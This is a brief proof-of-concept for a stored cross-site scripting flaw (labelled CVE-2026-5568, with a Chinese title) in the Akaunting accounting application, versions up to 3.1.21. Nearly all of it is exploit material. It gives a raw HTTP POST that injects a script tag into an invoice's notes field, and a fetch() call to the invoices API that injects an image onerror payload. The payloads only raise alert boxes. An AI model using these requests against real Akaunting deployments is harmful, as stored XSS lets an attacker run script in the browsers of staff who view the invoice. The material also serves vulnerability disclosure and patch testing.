CVE-2026-5568 Akaunting发票组件XSS漏洞

// PoC for CVE-2026-5568 // Target: Akaunting <= 3.1.21 // Description: Inject XSS into the 'notes' field of an invoice. // Example HTTP Request to create/update invoice POST /invoices HTTP/1.1 Host: target-domain.com Content-Type: application/x-www-form-urlencoded notes=<script>alert('CVE-2026-5568_XSS');</script>&customer_id=1&amount=100 // Alternatively, using JSON API fetch('/api/invoices', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <token>' }, body: JSON.stringify({ 'notes': '<img src=x onerror=alert(1)>', 'type': 'income' }) });